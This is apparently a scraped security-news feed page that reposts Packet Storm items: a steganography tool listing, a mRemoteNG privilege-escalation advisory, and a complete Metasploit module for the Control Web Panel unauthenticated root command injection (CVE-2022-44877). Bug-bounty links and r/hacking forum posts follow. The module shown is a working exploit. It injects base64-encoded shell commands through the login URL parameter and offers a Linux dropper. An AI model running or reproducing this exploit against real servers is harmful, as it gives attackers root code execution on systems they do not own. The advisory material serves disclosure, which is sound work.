Exploit Collector
OpenStego Free Steganography Solution 0.8.6

https://4.bp.blogspot.com/-our8kmhncnY/WWlvTk7Dk6I/AAAAAAAAINs/ofoeVvTLCzkScTt1I86TmBZptlym-DdFACLcBGAs/s1600/h42.png
OpenStego is a tool implemented in Java for generic steganography, with support for password-based encryption of the data. It supports plugins for various steganographic algorithms (currently, only Least Significant Bit algorithm is supported for images).

SHA-256 | 6eb7d1a1e6eb294ab3d2ef38d3c4e0c321b4f9e4a92c209eec86af3c6cbe2668

Download
Source:packetstormsecurity.com

Exploit Collector
mRemoteNG 1.76.20 Privilege Escalation

https://2.bp.blogspot.com/-466o0SY5wbQ/WWlvXOxbxYI/AAAAAAAAIOQ/eHwtwujRsQI9h-mxYQXglBmw7d5gufaKwCLcBGAs/s1600/h51.png
mRemoteNG version 1.76.20 suffers from a weak permission privilege escalation vulnerability.

SHA-256 | aa08068eda449c43f5c76d0ec56fca19930c2ac6719246bec693e3037f692da6

Download
mRemoteNG mRemoteNG v1.76.20 Privilege Escalation
Detailed Information
------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Product Name: mRemoteNG
Vendor Home Page: https://mremoteng.org
Vulnerable Version: mRemoteNG v1.76.20
Fixed Version: mRemoteNG v1.76.20.24615
Vulnerability Type: Improper Access Control (CWE-284)
CVE Reference: CVE-2020-24307
Author of Advisory: Thurein Soe

------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Product Description:

mRemoteNG is an open-source multi-protocol, remote connections manager for
Windows that allows managing multiple diverse connections with remote
systems.
------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Vulnerability description:

Windows service permissions is a type of local privilege escalation in the
windows operating system. Weak service permissions run with system user
permission that allows a standard user to elevate to administrator
privilege on the compromised system upon successfully modifying the
service. mRemoteNG.exe was giving modify permission to any authenticated
users in the windows operating system that allows standard users to modify
the service resulting in leading Privilege Escalation.

C:\Users\NyaMeeEain>icacls "C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe"
C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe APPLICATION PACKAGE
AUTHORITY\ALL APPLICATION PACKAGES:(M)
BUILTIN\Users:(M)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(M)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
------------------------------------------------------------------------------------------------------------------------------------------------------------------------

References:
https://www.immuniweb.com/vulnerability/improper-access-control.html
https://www.cvedetails.com/cwe-details/284/Access-Control-Authorization-Issues.html
------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Credits:
Thurein Soe
------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Source:packetstormsecurity.com

Exploit Collector
Control Web Panel Unauthenticated Remote Command Execution

https://3.bp.blogspot.com/-nGXsE6SnJzg/WWlu_4hmLPI/AAAAAAAAIKI/Orx5Bzmw2Dg1C2Ys8CQM09j0YgXq__7zgCLcBGAs/s1600/h120.png Control Web Panel versions prior to 0.9.8.1147 are vulnerable to unauthenticated OS command injection. Successful exploitation results in code execution as the root user. The results of the command are not contained within the HTTP response and the request will block while the command is running.

SHA-256 | 00cb85e5ab25f2d5091aa8c72d9d5252d08919dce9dbd37743bea7469e5dbc51Download ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/stopwatch'

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'CWP login.php Unauthenticated RCE',
'Description' => %q{
Control Web Panel versions < 0.9.8.1147 are vulnerable to
unauthenticated OS command injection. Successful exploitation results
in code execution as the root user. The results of the command are not
contained within the HTTP response and the request will block while
the command is running.
},
'Author' => [
'Spencer McIntyre', # metasploit module
'Numan Türle' # vulnerability discovery
],
'References' => [
[ 'CVE', '2022-44877' ],
[ 'URL', 'https://github.com/numanturle/CVE-2022-44877' ],
[ 'URL', 'https://control-webpanel.com/changelog#1674073133745-84af1b53-c121' ]
],
'DisclosureDate' => '2023-01-05',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
Opt::RPORT(2031),
OptString.new('TARGETURI', [true, 'Base path', '/login/index.php'])
])
end

def check
sleep_time = rand(5..10)

_, elapsed_time = Rex::Stopwatch.elapsed_time do
execute_command("sleep #{sleep_time}")
end

vprint_status("Elapsed time: #{elapsed_time} seconds")

unless elapsed_time > sleep_time
return CheckCode::Safe('Failed to test command injection.')
end

CheckCode::Appears('Successfully tested command injection.')
rescue Msf::Exploit::Failed
return CheckCode::Safe('Failed to test command injection.')
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

case target['Type']
when :unix_cmd
if execute_command(payload.encoded)
print_good("Successfully executed command: #{payload.encoded}")
end
when :linux_dropper
execute_cmdstager
end
end

def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path) + "?login=$(echo${IFS}#{Rex::Text.encode_base64(cmd)}|base64${IFS}-d|bash)",
'vars_post' => {
'username' => 'root', # *must* be root
'password' => rand_text_alphanumeric(4..16),
'commit' => 'Login'
}
)

# the command will either cause the response to timeout or return a 302
return if res.nil?
return if res.code == 302 && res.headers['Location'].include?('login=failed')

fail_with(Failure::UnexpectedReply, "The HTTP server replied with a status of #{res.code}")
end
end Source:packetstormsecurity.com

My First Hall Of Fame with Web Cache Poisoning
https://infosecwriteups.com/my-first-hall-of-fame-with-web-cache-poisoning-c11749017cd8?source=rss------bug_bounty-5

Web Cache Poisoning — An Introduction | Karthikeyan NagarajContinue reading on InfoSec Write-ups » (https://infosecwriteups.com/my-first-hall-of-fame-with-web-cache-poisoning-c11749017cd8?source=rss------bug_bounty-5)

A bug that permitted bypassing of Facebook’s two-factor authentication (2FA) was discovered by a…
https://medium.com/@dkjhaj2ee/a-bug-that-permitted-bypassing-of-facebooks-two-factor-authentication-2fa-was-discovered-by-a-8ba35eca70e9?source=rss------bug_bounty-5

A flaw in a new, centralized system that Meta developed for users to manage their Facebook and Instagram logins could have made it…Continue reading on Medium » (https://medium.com/@dkjhaj2ee/a-bug-that-permitted-bypassing-of-facebooks-two-factor-authentication-2fa-was-discovered-by-a-8ba35eca70e9?source=rss------bug_bounty-5)

hacking: security in practice
What do you think about Surfshark's new no-log audit?

Not explicitly hacking, but hiding your trail with a VPN is part of the process, I'd argue.

So what do the naysayers think about Surfshark's proud new claim about being approved by Deloitte regarding their no-log policy?

Is it legit? Is it bull? Something else?

Article: https://surfshark.com/blog/deloitte-audit-nologs

submitted by /u/TerjiD
[link] [comments]

hacking: security in practice
How to bypass ISP throttling?

Whenever I consume 20gb per day, my ISP throttles down the speed to 1mbps, except on social media apps (tiktok, playstore, facebook, etc...) is there any method to trick the ISP into thinking the data is coming from those apps instead of lets say steam, youtube? I tried using a VPN, it doesn't work. oookla speedtest and fast.com shows the full speed, while testmy.net shows 1mbps (120kb/s) which is the true speed.

submitted by /u/HighNB
[link] [comments]

hacking: security in practice
Any projects i could make with a Pi Pico W?

So i already made a badusb but i want to make more projects. Google wasnt really that helpful.

submitted by /u/Just_sava
[link] [comments]

Hacking on Medium
Penetration Testing Narratives

https://cdn-images-1.medium.com/max/600/1*ZPTgeo7pU8AA1Zz6DMYX1Q.jpeg
“Tell Me you’re an Elite Pentester Without Telling Me You’re an Elite Pentester.”

Continue reading on Medium »